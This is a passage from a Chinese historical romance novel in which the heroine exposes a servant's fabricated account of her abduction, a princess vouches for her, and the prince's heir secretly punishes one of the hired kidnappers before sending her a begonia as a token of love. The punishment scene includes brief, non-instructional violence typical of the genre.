半夏当即回应:“侯爷明鉴!姑娘失踪后,我们找遍了翠微馆附近的每条巷子,问遍了摊贩,实在找不到才立刻回府禀告的!绝无半点耽搁!”
谢泱转向谢元鼎:“父亲,从翠微馆回府,最快也要半个时辰。女儿被冲散大约是在戌时三刻,她们回府若在亥时,便是来回奔波、竭力寻找之后才回来报信的,请问夫人,您又是何时得到‘消息’说我出事了的?”
罗漪华一滞:“这······大约是亥时一刻,烛烟回来报的信······”
烛烟哪里是亥时一刻回来的,不过是罗漪华按照谢泱说的时辰胡诌出来的时间。
谢泱立即追问:“也就是说,半夏她们回府报信的同时,甚至更早,您的‘消息’就到了?敢问这位报信的烛烟何在?”
烛烟差点被谢泱这一连串的话吓破了胆,听到谢泱叫她,伏在地上狠狠打了一个哆嗦后,才磕磕巴巴地按照事先编排好的话,又说了一遍他在翠微馆附近,亲眼看见谢泱被人流冲散后,被几个歹人捂嘴拖走,自家公子追上去救人,让自己先回来报信。
谢泱静静听完,突然问:“你说你是在翠微馆东侧的牌坊下看见的?”
烛烟一愣,来不及思考,硬着头皮便说:“是······是的。”
谢泱微微一笑:“这就奇了,翠微馆东侧是死胡同,只有一家卖脂粉的铺子,灯会人流最多的地方明明是西侧临街,我是在西侧被冲散的,东西两侧中间搭了戏台,即便这般,你也能在东侧看见西侧的我吗?”
烛烟额头冒汗:“那······那可能是小的记错了,是西侧······”
烛烟知道整个计划不假,可他又没和他家公子亲自去绑人,绑走谢泱的都是他家公子雇的小混混,他可没真的亲眼瞧见。
谢泱又问:“好,就算是西侧,那你可看清那几个歹人穿什么样式的衣服?脸上有无什么特征?身高几何?用的什么手法?”
烛烟支支吾吾:“太······太黑了,没看清······”
谢泱听到这,笑意更深了:“这可奇了,今夜中秋灯会,全城灯火通明,你说太黑了?还有,你既然亲眼看见我被掳走,为何不立刻呼救,或者跟随上去?你既从翠微馆回来,势必经过侯府停在街头的马车,你不向侯府侍卫求救,反而跑回府报信?再者说,你家公子让你回来报信,他独自救人,你就这么放心?”
一连串追问下,烛烟漏洞百出,瘫跪在地,汗如雨下。
听到这,在场众人早已跟着谢泱的思绪思考,谢元鼎脸色微变,看向罗漪华的眼神也带上了几分审视。
罗漪华眼看烛烟被问住,自已被怀疑,立刻换了一副嘴脸,啜泣起来:“泱姐儿,你又何必为难一个下人?就算烛烟说的不仔细,可你一个姑娘家,当街失踪,深夜方回,手上还带着说不清楚的伤,这······这让外人知道了,可如何是好?你的清白······”
说着,又哭着看向谢元鼎,“老爷,泱姐儿的名声要紧啊!若不查个水落石出,将来婆家问起来······”
罗漪华字字句句都指向谢泱“可能失了清白”。
谢泱上前一步,平静地看向罗漪华:“你口口声声担心我的清白,敢问,你凭什么就断定我清白有损?就凭一个满嘴胡言的下人?”
罗漪华仿佛受了天大的委屈,哭道:“我是担心你啊!你若没事,为何这么晚才回来?又为何不和丫鬟一起?”
此时,一直站在谢泱身后、未曾出声而被众人忽略的华服少女忽然轻笑一声:“这个问题,本郡主倒是可以回答。”
众人皆惊。谢元鼎这才仔细看向那少女,认出她腰间宫绦、身上簪饰绝非寻常人家——谢元鼎脸上骤变,慌忙起身。
裴易水与裴玠不同——裴玠身为世子,未来要承袭王府,平日与王公大臣多有走动,但裴易水是女子,即便是郡主,行动也多拘泥于同龄女子中,未必凤阳高门都能一眼认出,只知其名号而不熟其面容者,也有人在。
在场之人最近见过郡主者,还是去年去了郡主花宴的谢云萱,谢云萱在裴易水出声的第一刻便认出了她,谢云萱对裴玠有意,自然想要讨好他的妹妹,便立即上前来行礼:“郡主殿下。”
众人这才反应过来,纷纷给裴易水行礼。
裴易水这才走到厅中央,慢悠悠地说:“今晚灯会,本郡主碰巧也在翠微馆听戏,谢小姐的确遇上了些麻烦,被人流冲散碰伤了手,慌乱中跑进翠微馆,正好撞见本郡主,本郡主见她衣裳被挤乱了,便邀她到厢房更衣歇息,聊了一会儿天。怎么?本郡主陪着的谢小姐,在你们眼里就是‘清白有损’?”
裴易水原打算陪着谢泱回府,若是有人误解,她便为谢泱解释一二。谁曾想,她从进来听到现在,光听见这些人是如何如何费尽心思往谢泱身上泼脏水的了。
还有这个永安侯,实在不成个父亲样,坐在那像尊雕塑般,任凭这个侯夫人污蔑自己亲生女儿。兄长说的不错,谢姑娘在永安侯府的处境的确艰难。
裴易水本就是真性情之人,自然见不得一群人欺负一个人这种事情发生,更何况是谢姑娘这种弱女子,今晚说什么她也要给谢泱撑腰!
她睥睨着罗漪华:“侯夫人方才口口声声说谢小姐名声要紧,现在本郡主亲自做证,谢小姐今晚一直与我在一起,你是不是还要说,本郡主的话也不可信?”
罗漪华彻底愣住,她怎么也想不到,罗岱没得手不说,谢泱还好好地回来了,甚至带了郡主来给她作证。
听到裴易水的发难。谢元鼎连忙躬身:“下臣不敢,郡主言重了,
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小女能得到郡主的照拂,是她的福气!”
罗漪华勉强挤出笑容,还想着做最后的挣扎:“原来是郡主······妾身真是担心坏了,既然有郡主作证,那自然是······妾身多虑了······”
她嘴上服软,眼神却狠狠地剜了一眼谢泱。
就在此时,府门处传来通报:“南安王世子到——”
满堂震惊。谢元鼎连忙起身相迎。
裴玠一身玄色锦袍,大步流星走进来,周身气势清冷矜贵。他的目光掠过厅中众人,在看到谢泱安然无恙时,眼底的冷意才微微敛去几分,他向谢泱微微颔首。
裴易水迎上去:“哥哥,你怎么来了?”
裴玠淡淡道:“来接你回府。”他看向谢元鼎,语气客气却疏离,“侯爷,本宫冒昧登门,一来是接妹妹,二来——有件事,觉得应当知会侯爷一声。”
谢元鼎心头一紧:“世子请讲。”
裴玠道:“今夜翠微馆外有人蓄意制造混乱,意图对一位姑娘不轨。那伙歹人,本世子已拿住几个。一审之下,问出些东西——”
他顿了顿,目光若有似无地掠过罗漪华。
罗漪华心头狂跳,面上却强撑着镇定。
谢泱听到此话却是微微皱眉,裴玠何时抓到了那群人?他也抓到了罗岱?若是供出罗岱,那势必牵连罗漪华,可是······她留着罗漪华还有用呢!不行······
裴玠继续道:“那几个混混招供,是受雇于人。雇他们的人说,事成之后,要把姑娘交给一个——”
谢泱忽然上前一步,微微屈膝行礼,声音轻柔却清晰地打断了裴玠的话:“世子深夜亲临,又为家父送来如此重要的线索,谢泱感激不尽。只是今夜天色已晚,郡主也该早些回府歇息了。这些腌臜事,改日再细说不迟。”
她抬眸,目光与裴玠相接,眼睫微垂,极轻极快地摇了摇头。一个只有裴玠能读懂的暗示——不要说。
裴玠眸光微动,只一瞬便明白了什么,是他关心则乱了。
他面色不变,语气自然地接过了话头:“谢小姐说的是。本世子也是这个意思——今夜只先给侯爷提个醒,有人暗中作祟,侯爷府上的人,往后出门要多加小心。至于那些歹人招供的细节,改日再详谈。”
他看了谢泱一眼,眼底有一丝不易察觉的抱歉,随即恢复如常。
谢元鼎连忙道谢,但神色却十分难看——世子亲自登门提醒,这件事他不是全然糊涂,但说到底是侯府私事,家丑不宜外扬,郡主与世子接连拜访,他的面子也有些搁不住。
罗漪华面上重新端上了得体的笑,后背却已冷汗涔涔。她不知道世子掌握了多少,更不知道谢泱为什么突然打断,但好在,这些人似乎都没有要彻底追究下去的样子。
谢元鼎送走裴玠兄妹,回到厅中,面色沉沉地看着谢泱:“泱姐儿,你方才为何打断世子的话?他显然知道些什么。”
谢泱神色平静:“父亲,世子若真想当场说出什么,女儿打断得了吗?”
谢元鼎一愣。
谢泱轻声道:“世子既然没有坚持说下去,说明他本就不想今夜把事情闹大。他来,是给父亲一个提醒,也是给女儿一个交代。至于那幕后之人——世子既然已经拿住了歹人,迟早会查个水落石出。父亲只需心中有数,静观其变便是。”
谢元鼎沉吟片刻,深深看了谢泱一眼。他没有再追问,只是沉声道:“今夜你受惊了,先回去歇息吧。”
他转向罗漪华,语气淡了许多:“你也累了,早些歇着。”
没有斥责,没有质问,但这一句冷淡的“你也累了”,比任何责骂都让罗漪华心慌——侯爷这是怀疑她了。
21.折花
今夜发生了太多意外,回府后又与众人“唇枪舌战”一番,谢泱可谓是身心俱疲,本想洗漱后便睡去。
可是,真当躺在软乎乎的冰蚕丝褥上时,谢泱反而睡不着了。
今日的桩桩件件都如同走马灯一般,在她闭眼时向她袭来。
想要将她推向深渊的罗漪华姐弟,或许知道真相但坐视不理的谢元鼎,尚且不清楚立场的姨娘们······
罗岱现在在裴玠手上,算算日子······也差不多了,是时候收网了。这两天还要找个时机再与裴玠商议商议。
想着想着,谢泱便沉沉睡去。
候府这边已是万籁俱静,但在另一边的流云轩的隐秘角落里——
裴玠将裴易水送回府后,又折回了流云轩。
青年一袭玄色暗金纹锦袍,一如晚间在翠微馆那般风度翩翩,面上是一贯的温润如玉的神色,仿佛只是来喝茶的贵公子。
墨影和玄刃跟在裴玠身后,却是面面相觑。他们相当清楚,主子的平静只是表象,否则也不会深更半夜还要来亲自审几个小混混了。
这几个小混混无非是罗岱雇来的地痞流氓,用点刑撬开他们的嘴就是了,这种腌臜事哪里需要世子亲自动手呢?可墨影和玄刃谁也没敢开口劝——
主子心情不妙,此时开口,不是找死吗?
他们只能跟着裴玠,穿过曲折回廊,来到一间书房,墨影轻车熟路摸到一个装书画的暗格,往下一按,书房南侧书架后便显现出一道暗门。
裴玠平日公务多在王府处理,但那些都是明面上的——当今王公大臣多的是见不得光的阴私杂务,既是“阴私”,那自然也要阴□□理了。
世人都道南安王世子光风霁月,既能在朝堂上能执笔定策,又能在诗会上即兴成章。
谁又能把这样一位人物和在流云轩设地牢的的这位联系在一起呢?
地牢的门在书架在书架后合拢,石阶一级一级往下沉,摇曳的火光将裴玠的影子拉长。
石阶走完,霉味和血腥味就一起涌来。墙角捆着的人听见动静,开始呜呜地叫,嘴里的破布堵的严实,只能从喉咙里挤出点声响。
绑着的这个正是今晚在那个杂物间扬言要“办了”谢泱的人。
裴玠没看他。
他走到墙边的木桌前,拿起茶壶倒了一杯。茶早就凉透了,他也没在意,抿了一口,搁下杯子,这才转身在一旁的椅子上坐下。
裴玠领口微敞,露出一截流畅的脖颈线条,明明是漫不经心的姿态,却处处透露着一股压迫感。
那人不敢再呜咽。
玄刃递上一方帕子,裴玠接过,慢条斯理地擦拭着指节上并不存在的灰尘。
他其实很少因为这种人而动怒,但一想到今日,谢家那丫头的衣裙凌乱、手上带伤地向自己求助,他心中就抑制不住的烦躁。
被绑的时候,她害怕吗?这些人有没有碰她?手上的伤是怎么来的?知道是候府中人策划的时候,她是否心寒?
这些,裴玠都没敢问,他怕她伤心。
他与她认识不过短短几月,可越了解她,便越觉心疼,自幼失恃,父亲不管,想来在长大的过程中,凡事都要比旁人多一份小心。如今回来了,府中又是一屋子狼豺虎豹,巴不得将她生吞活剥,灵丹阁又是一桩麻烦事,她怎能不辛苦?
今日她扑向自己怀中,心中的几分悸动他再也忽略不了了。
裴玠忽然想起那日——
前些日子,谢泱来流云轩喝茶——不是为了来找他商议什么,就只是喝茶。
正巧流云轩里栽的秋海棠将将开花。
她站在一株海棠前,踮起脚去够枝头开的最好的一朵。
够不着。
她也不急,就这么仰头看着,日头透过花枝落在她脸上,碎碎的,晃得人移不开眼睛。
裴玠站在远处看了许久,后来终于忍不住悄声踱到她身后半步远,手已经抬起来了——想要替她折那一枝花。
手指碰到花枝的瞬间,他顿住了。
这算什么?他在心里问自己。替她折了花,然后呢?递给她的时候,说什么?她若接了,笑一笑,他是不是就该转身走了?
谢泱回头看他,眼神里有一点疑惑:“殿下?”
他这才把手收回来,拢在袖中,握了握拳。
“这枝开的高,”他说,声音和往常一样淡,“我去找根长杆来。”
他转身往园外走,步子比平时快了半分。身后她的目光应该还落在他的背上,他知道,但他不敢回头。
手心有点潮。
是刚才抬手的瞬间就开始了的,
不是因为热。
那次,称得上他人生第一回“落荒而逃”,只可惜,他最终也没回来给她折那枝秋海棠······
思绪慢慢回笼,将裴玠从回忆中抽离。
他静静地盯着那个混混,半晌才出声:“今晚在街上,你用哪只手拽的她?”
声音很平,像在问今天吃什么。
捆着的人拼命摇头,身子往后缩,奈何身后就是石墙,退无可退。裴玠看着他,没动,也没再问。
墨影会意,上前三两下把那人绑着的双手解开,又把他嘴里塞着的破布拽了出来。等拽出来才发现,破布带着血污,那人的舌头早已被割掉。
安静了一会,那人扛不住了,眼泪鼻涕糊了一脸,拿脑袋拼命地往地上磕,咚咚地响。
裴玠往前走了两步,蹲下来,平视着他:“我问的是,哪只手?”
昏暗的火光从侧面打过来,他的半张脸隐在暗处,另半张脸上没什么表情,连眉头都没皱一下。
“左手,还是右手,你选一个。”
那人哭得浑身发抖,哆哆嗦嗦把左手伸出来。
裴玠点点头,站起来,玄刃见状识相地递上一柄短刀。刀不长,巴掌多一点,刀刃磨得很薄,火光一晃,亮得刺眼。
他走回来,蹲下,拿起那只手。
“姑娘家都怕疼,”他说,刀尖抵着那人虎口上,往下压了压,没压破皮,只是压出了一道白印子,“所以,今晚在翠微馆,她应该挺疼的。”
刀尖一转,斜着挑进去。
血一瞬间涌了出来,那人却连叫都叫不出声,整个人弓成一团,被捆着的身体挣得绳索勒进肉里。裴玠没松手,把那根筋挑断了才放开,站起来。
“灯别熄,让他看着他的手,看一夜。”这话是对墨影和玄刃说的。
裴玠将刀往桌子上一扔,拿起那块帕子擦手,一根一根手指地擦,擦得很仔细。擦完,帕子也扔在桌子上,他转身往石阶走。
推开暗门,书房里的烛光柔柔地漫过来。裴玠在门口站了片刻,等身上那股子血腥味散去,他才往外走。
裴玠又走到了流云轩种的那几株海棠树下。
中秋已过,丝丝凉意已经渗透在凤阳的空气里,不似那日谢泱来赏花时的瘦弱,此时的秋海棠已经一簇一簇地拥着盛开,月光散落其上,散着几分幽香。
他伸手将其中一枝小心翼翼折下,包起来。
“主子,都处理干净了。”墨影的声音在裴玠身后响起,“要留着吗?”
裴玠没回头,仍盯着那颗海棠:“先留着吧,说不定日后她能用上。”
裴玠没指明这个“她”是谁,但墨影知道,这个“她”说的是谢姑娘。墨影暗自咋舌,自
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家主子还真是用心良苦,今晚做的这些不让谢姑娘知道也就罢了,连人都要留着,以防谢姑娘日后能用着。
“那罗岱呢?主子要过去看一眼吗?”
墨影不解,主子今晚光审那个无关紧要的地痞流氓了,更重要的彭城伯府家的公子却只是放在那。
“不必,明日将此人悄无声息地放回去。”
墨影震惊:“啊?放回去?主子,咱们好不容易将他抓来,这就将他放了?也太便宜他了,怎么说也要先打一顿才是······”
裴玠这么做自有他的道理,上回谢泱与他商议灵丹阁的事宜时,摆明了是想要顺带处理她的家务事,加之今日在候府,她出言阻止了他说出罗岱,自是有她的考量,他何不帮她一把呢?
“明日只要将他看起来完好无损地放回去即可,余下的,你们看着办就是了。”
裴玠的意思已经很明显了。
墨影领悟,只要“看”起来好就行,内伤可不算。他会心一笑:“属下明白,保证让主子满意!”说完就要告退。
裴玠却叫住他:“慢着。”
“将这个给谢姑娘。”裴玠把那朵秋海棠给墨影,墨影心下疑惑,但还是接下。
“主子,这······冒然送去候府,怕是不太好吧?”
墨影心里嘀咕,自家主子果真是没有追姑娘的经验,姑娘家都是喜欢奇珍异宝的,哪有就送一枝花去的?再说了,就这样大喇喇送去候府,闲杂人等又要编排谢姑娘了。
裴玠想了想:“那就叫郡主明日带给她。”
“是,属下告退。”
墨影就这样,带着这枝秋海棠,先去找了玄刃。
玄刃看着墨影来找他还带枝花,鸡皮疙瘩起了一身:“你有病啊?好端端带枝花来做甚?”
“不是我,是殿下要送给谢姑娘的。”
“谢姑娘?”
“诶呀,就是永安候府的谢泱谢姑娘,你傻啦?还‘谢姑娘?’。”墨影故意阴阳怪气地嘲讽玄刃。
“我当然知道!我问的是殿下为何偏偏送了枝秋海棠?”玄刃端详了一番,认出了这花的品种。
墨影平日里只会舞刀弄枪,不懂什么花啊草啊的:“秋海棠怎么了,估摸着殿下是觉得好看,便折了送给谢姑娘呗,要我说,殿下何时变得这么小气了,要送就干脆送一整颗树好了······”
墨影还没说完,玄刃便抬手打了一下墨影的头,骂道:“傻子!”
墨影吃痛,捂着头:“你打我做甚?!”
“你知道秋海棠又叫什么吗?”
墨影摇了摇头。
“秋海棠又名断肠花、相思草,断肠相思知不知?”
墨影听完玄刃的解释,低头愣愣地看向手上的那枝花,一时间没说话。
玄刃看墨影这个样子,还以为他怎么了,伸手在他眼前挥了挥:“喂,你怎么了?”
谁知下一刻,墨影突然跳了起来,双眼放光,脸上是抑制不住的八卦笑容:“我去!你不早说!”
玄刃被墨影一惊一乍地吓了一跳,很是无语:“叫你平时多读点书,这都不知道。”
“这么说,咱们殿下这是对谢姑娘心怀断肠相思了?这才认识多久,便这般情根深种了,啧啧啧······”墨影摇摇头,调侃起自家主子。
玄刃也故作思考:“这算是一见钟情还是日久生情?”
“肯定是一见钟情,谢姑娘长的多好看啊!”
“殿下也不差啊。”
······
候府那边,本已经睡着的谢泱突然被一个喷嚏惊醒,她皱皱眉,揉了揉鼻子,又沉沉睡去。
一夜无梦。
22.怜爱
次日一早,谢泱刚用完早膳,便听人来报永嘉郡主来寻她来了。
谢泱简单收拾了一下,便前往正堂会客厅。
正厅里,裴易水正由罗漪华作陪在喝茶,谢云萱也在一旁,正喋喋不休在与郡主说话。
待谢泱一进正厅,裴易水便喊她:“泱泱!”
“泱泱”这个亲昵的称呼让谢泱有些受宠若惊,毕竟她与郡主不过刚认识,但昨日郡主帮了她,谢泱能感觉出裴易水是一个真性情且热心的女子,这一点很是难得。
谢泱心中一暖,同样回以微笑,福了福身子行礼:“郡主。”
裴易水拉着谢泱坐在她身旁:“何必如此生疏,叫我易水便好。”
“郡主,这样不合礼数。”谢泱无奈地笑了笑。
“我的话就是礼数。”裴易水却不以为然,“怎么,你不想交我这个朋友吗?”她假装嗔怒。
谢泱见裴易水这般,便也不再坚持,当即就改了口:“易水。”
“这就对了嘛。”
一旁的罗漪华与谢云萱见裴易水对谢泱如此亲昵,心里都不太好受,这对她俩来说并不是一个好的信号。
只不过,罗漪华身为候府夫人,需要尽到候府对待郡主应有的礼仪,面上尚且能维持住一贯的微笑,只以看待小辈的眼神看裴易水与谢泱。
但谢云萱见状,又想起了昨晚自己被郡主与世子冷落的情形。凭什么她谢泱就能得到郡主的青睐?自己巴结郡主多久了,也不见郡主对自己如此好。
她忍不住酸溜溜地问:“不知道郡主何时与我二姐如此熟稔了?”
谢云萱语气中的酸味都快溢了出来,明眼人都能看出来,谢泱不语,但裴易水却如同没听出来一般,认真地回答:“我与泱泱是一见如故。”
谢泱一笑,表示认同。
谢云萱撇了撇嘴,不再说话。
一旁,罗漪华适时开口:“寒暄这么多,倒是还没问郡主来找泱姐儿所谓何事?”
裴易水这才想起来此行的目的,她虽受兄长所托,来给谢泱送东西,但她自己本就也想邀谢泱前去王府一叙,送东西不过顺手。
她看向谢泱:“我院子里的木芙蓉开了,正愁无人与我同赏,想来你在家中也是闷得慌,故来邀你去我们府上玩,如何?”
谢泱并非无事,她还要去找裴玠,但郡主邀她既邀请她去王府,说不定裴玠也在,倒是省去她还要特意去找他一趟的功夫了,若是不在,陪郡主赏花也没什么不好的。
“好······”
“怕是不妥——”谢泱“好”还没说完,罗漪华便打断了她的话,引得其他人都看向罗漪华。
罗漪华对裴易水笑了笑:“郡主怕是不知,泱姐儿回家不久,有些规矩尚且不熟悉,冒然前去王府,若是在王爷和王妃面前失了礼数,便不好了。”
“不妨事,正巧我父王和母妃都不在府中,我与泱泱也可松快些。”
罗漪华见裴易水这副油盐不进的样子,也不再相劝,转而开始劝谢泱:“泱姐儿,你虽与郡主交好,可终究是姑娘家,王爷与王妃都不在,你一个人去,倘若再碰见世子,传出去像什么样子?”
听见母亲提到“世子”,谢云萱眼睛一下就亮了,她也想去王府!
谢云萱递了一个眼神给罗漪华,罗漪华意会,是了,要去就带着萱姐儿一起去!
裴易水被罗漪华满嘴的“礼数”说得有些烦了。
昨日她污蔑泱泱时,也不见得是个识大体的夫人,怎么这会子偏要来教她做事?
裴易水皮笑肉不笑地问罗漪华:“不知夫人可有什么更好的法子?”
“这······”罗漪华假装犹豫,随后一脸慈爱地对谢泱说,“我看不如这样,让你妹妹陪着,再带上柳嬷嬷,也好有个照应。”说完又看向裴易水,“想来,郡主应也是舍得赏萱姐儿一杯茶的吧?”
这话说的妙,若是谢泱和裴易水再不同意,倒显得一个不识大体有违女德,一个心胸狭窄不似贵女了。
裴易水听到此话犹豫了。
她当然可以摆出郡主的架子,拒绝罗漪华的提议,但这怕是会让泱泱为难,她在候府的日子本就不好过。
谢云萱坐在一旁,低头抿着嘴笑,眼里的得意藏都藏不住。
谢泱气极反笑,前面铺垫这么多,原来在这等着她呢!她不就是想让谢云萱一起去吗?
好啊,谢云萱既然这么想去,那便顺了她的意。
只是,天下哪有这么好的事,好好地去了,便别想好好地回!
谢泱搁下茶盏,抬眸,嘴角弯了弯。
“但凭夫人吩咐。”她语气平平,“既如此,不如让云烟也一同去,她整日闷在府里,也该出去走走。”谢泱又问裴易水,“易水以为如何?”
裴易水本就觉得委屈了谢泱,此时她提出要求,哪有不同意的道理:“你开心就好,反正我王府也不缺这一杯茶!”
这话是讽刺刚刚罗漪华架着裴易水不得不同意谢云萱一起去而说的那些话。
罗漪华神色不太自然,她没料到谢泱会如此配合。
谢云萱不乐意了,平时她拉着谢云烟是抬举她了,这会子她要去见世子哪有谢云烟的份:“凭什么她也去?!”
“怎么?”谢泱看向她,“妹妹不愿?”
谢云萱被噎住,罗漪华飞快接话:“也好,让云烟一起去长长见识。”
待一行人收拾好,准备乘马车去王府时。
裴易水看着唯一一辆王府的马车,拍了拍脑袋:“诶呀,我今儿个本只想邀泱泱一人去的,谁曾想······这怕是会有些拥挤······”她故意瞟了一眼谢云萱,摆明了告诉谢云萱,她就是个多余的!
谢云萱碍于郡主的面子,也不敢反驳,倒是一旁的谢云烟开口:“郡主与泱姐姐同坐便是,我与三姐姐坐候府的车前往。”
裴易水满意地看向谢云烟:“如此甚好,还是云烟妹妹懂事。”说罢便携着谢泱上了王府的马车。
谢云萱脸都要气歪了也无可奈何。
她只能狠狠地掐了一把谢云烟,瞪着她:“贱蹄子!要你多嘴!”说完也不看她,转身上了候府的马车。
谢云烟眼眶微红,看向谢云萱的眼神里多了一丝恨意。
马车上,裴易水盯着谢泱,久久不说话。
谢泱被郡主怜爱中带着抱歉的眼神盯得要发毛了:“郡主——”
谢泱话还没说完,裴易水忽然就凑上前来紧紧地抱住她,还用手一下一下顺着谢泱的背。
谢泱看着突然扑上来抱住自己的裴易水,愣住了:“郡主?”
裴易水带着哭腔道:“叫我易水!”
谢泱被裴易水突如其来的一出弄得不知所措,但还是顺着她温声道:“好好好,易水,你怎么了?”
别说,裴易水的动作让谢泱莫名地想起昨日在翠微馆——裴玠也是这样抚她的背的,这两人还真······还真不愧是兄妹。<
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p>裴易水松开谢泱,转而双手撑住她的肩:“泱泱——我真没想到,你在候府的处境竟是如此艰难!你放心!我一定会帮你出气的!”
“······啊?易水,你怎会如此想?”
谢泱看着眼前义愤填膺的裴易水,心中又好笑又感动,虽说候府有罗漪华这样想要害她的人,但远不至于“处境艰难”,毕竟她还有灵丹阁。
尤其是银子,她是从来不缺的,光是这一点就超过很多人了。
“你就别逞强了,说句不好听的,光是昨晚,就能见你府上人心险恶,尤其是你那个继母,真不是什么好东西。”
裴易水向来快人快语,她既然认定了谢泱这个朋友,自然看不了别人欺负她。
“你放心,以后在凤阳,我罩着你!”
谢泱看着一脸真诚的裴易水,发自内心的笑了,她将原本要解释的话都收了回去。
人活一世,既然会遇到天生就对你带有敌意的人,那自然就会遇到天生对你带有善意的人,承蒙郡主怜爱,她又何必要拒绝呢?
“好,那我便等着易水罩着我了。”
裴易水这才满意地松了手:“对了,我差点忘了”她转身从马车的壁龛里拿出一个精致小巧的盒子,递给谢泱,“这是我兄长托我带给你的。”
谢泱狐疑的接过,打开一看,却发现是一枝秋海棠。
谢泱先是愣了一下,随后便像是想起来了什么似的,盯着那枝花,嘴角弯了弯。
裴易水不解:“是什么呀?”她往前一凑,看向那个盒子,“咦?秋海棠?”
“兄长为何要送你一株秋海棠?”
“是那日,我在流云轩······”谢泱正要解释,但裴易水却自顾自地说了下去,“秋海棠又名相思草,表的是相思之意,兄长他也太心急了······”
话还没说完的谢泱蓦地听到“相思”二字,急得被口水呛住:“咳咳咳······不是这样的郡主,咳咳咳······”
裴易水赶忙到了一杯茶给谢泱:“慢点慢点,你瞧你。”
谢泱喝了一大口,好半晌才缓过来:“是那日我在流云轩赏花,世子碰巧也在,那时秋海棠未到季节,开的不好,世子大概是看我遗憾,如今才折了一枝给我,倒不是郡主所说的······相思。”
谢泱说到“相思”时,神色有些不自然,连声音都低了下去。
裴易水以为是谢泱害羞,便不再提这个话茬了,转而与谢泱聊起别的。
裴易水坐在谢泱旁边,一路上叽叽喳喳说个不停,从灯会的花灯说到凤阳各家的八卦,又从各家的八卦说到她兄长小时候的糗事。谢泱被裴易水戏剧性地“演说”逗笑了好几次。
正说着,王府便到了。
马车从角门进去,谢泱和裴易水先后下了轿。
下轿前,裴易水向谢泱挑眉,压低了声音,眼里尽是狡黠:“你且等着,看我怎么帮你出气。”
谢泱嘴角轻弯,极轻地眨了眨眼:“好。”
进了府,裴易水热络地挽着谢泱的手,随后漫不经心地转头,对谢云萱一挥手:“既是来照应的,那就跟着吧。”说完又转头,只和谢泱说话:“泱泱快走,我在园子里摆了茶案,还有京都新送来的点心,专门留给你的。”
谢云萱被晾在原地,脸上的笑差点挂不住。
身后的柳嬷嬷低声道:“姑娘别急,我们此行并不为了郡主。”
谢云萱咬了咬唇,跟了上去。
23.好戏
谢泱第一次来王府,穿过角门,是一条不长的穿堂。
两边墙面上的水磨青砖砌得严丝合缝,砖缝里看不见一丝杂草。檐下挂着几盏绢制宫灯,白日里没有点灯,但谢泱还是看出那灯骨用的是上好的湘妃竹,山庄里用的也是这种,候府里却不大常见。
穿堂尽头立着一道影壁,汉白玉的底座,壁心嵌着墨色的云纹石,纹路天然成山水的形状。
谢泱脚步一顿,饶是她见过不少好东西,但这样少见的如此完整的云纹石还是让她不禁赞叹,不愧是王府。
裴易水回头拉她:“泱泱,看什么呢?快走快走,茶都要凉了。”
穿过影壁,一道垂花门横在眼前。
过了这道垂花门,才真正进入王府的内院。
朱红色的门檐下悬着两盏琉璃灯,在秋阳下折射出淡淡的彩色光晕。门楣上的垂花柱雕着缠枝莲纹,漆色簇新,显然时长修缮,门槛也比刚才的角门高出一截。
谢泱提裙跨过时,裴易水已经熟门熟路地拐了进去。
“这边,”裴易水指着左边的月洞门,“右边是去正院的,我母妃不在,咱们不去那边。”
谢泱的目光往右边扫了一眼。
那道月洞门更大些,门后种着两株石榴树。门后是一条青石甬道,看不见尽头,只能远远望见几重屋檐,比别处都高。
想来那就是王爷和王妃日常起居的正院——也是裴玠平日里请安的地方。
谢泱收回目光,跟着裴易水进了左边的月门洞。
一入园,谢泱便被花香扑了满怀。
是桂花香,但满园看去都是木芙蓉,并未看到有桂花。直到裴易水引着谢泱往里走,谢泱扭头才看到角落里还藏着两棵桂花树。
候府里也有两株,但远没有王府的开得热闹。
裴易水看着谢泱对那两棵桂花树感兴趣,便解释起来历:“我小时候喜欢吃桂花糕,就和父王说,要在园子里种好多好多桂花树,父王便从南边运来十多株。”
“那为何现在只剩两株了?”谢泱问。
裴易水笑了笑:“后来真种起来了,又觉得这么多桂花一起开,花香味浓得恼人,便又央着父王换了清香的木芙蓉,桂花就留了这么两棵。”
谢泱笑了笑,却没再说话。
她只是想起了永安侯府的那两株——那还是母亲怀她时种的,母亲喜欢桂花,但后来去了山庄,母亲一颗也没有种过了。
裴易水没有察觉谢泱的沉默,拉着她继续往里走。
园子深处,有一水榭。
说是水榭,其实更像一座临水的亭子。四角攒尖的顶,覆着黛色的琉璃瓦。
亭子一半建在岸上,一半伸进池里,几尾锦鲤悠闲地游着,红白相见的影子在水底的石头上晃过。
亭子里已经摆好了茶案。
案上是一套青白瓷的茶具,旁边放着几碟点心。
“坐呀。”裴易水拉着谢泱在锦垫上坐下,亲自执壶,给谢泱斟茶:“你尝尝,这是我母妃的珍藏,平时轻易不给我呢。”
谢泱接过,抿了一口,颔首:“好茶。”
这茶又让谢泱想起了与裴玠初次在流云轩见面,他也是用这般珍贵的茶招待自己的。
怎么又想起他来了?
谢泱暗自摇摇头,一定是在王府的缘故。
谢云萱在一旁坐着,茶盏端了半天,也没人给她斟茶。柳嬷嬷向上前,却被裴易水的丫鬟不动声色地拦住了。
“诶呀,瞧我。”裴易水像是刚想起来,“云萱姑娘与云烟姑娘也喝茶?来人,斟茶。”
说罢便有两个丫鬟上前斟茶,动作规矩,挑不出错。
谢云烟老老实实地接了,但茶斟到谢云萱时,谢云萱刚伸手去接,丫鬟突然手一抖——半盏茶泼在她的裙摆上。
“奴婢该死!”那奴婢立刻跪下。
秋日衣裳尚薄,茶水虽不烫,却也湿了一大片。谢云萱腾地站起来,脸色涨红,却碍于是郡主的丫鬟,不好发作。
裴易水皱眉,呵斥:“笨手笨脚的,还不下去领罚。”又对谢云萱道,“姑娘别恼,去偏殿换一身吧——我那有新做的衣裳,虽然不及泱泱身上这件,倒也比寻常料子好。”
这话听着客气,实则刺人。
什么叫“不如泱泱身上这件”?谢云萱知道要来王府后,特意穿了一身簇新衣裙,是她花重金裁的,自认能压谢泱一头。可裴易水此话一出,仿佛她穿什么都是“寻常料子”。
谢云萱强笑:“多谢郡主。”跟着丫鬟去了。
谢泱垂眸饮茶,嘴角微微弯起。
裴易水看见谢泱笑了,也跟着开心,又低声对她说:“你瞧着吧,好戏还在后头呢。”
随后裴易水招了另一个丫鬟过来,附在她耳边说了些什么,那丫鬟听完后说了声:“是,郡主,奴婢这就去准备。”便走了。
谢泱不语,一旁的谢云烟听了也只当没听到。
谢云萱换好衣裳出来,心里的火还没消。
但很快,她看见一个人。
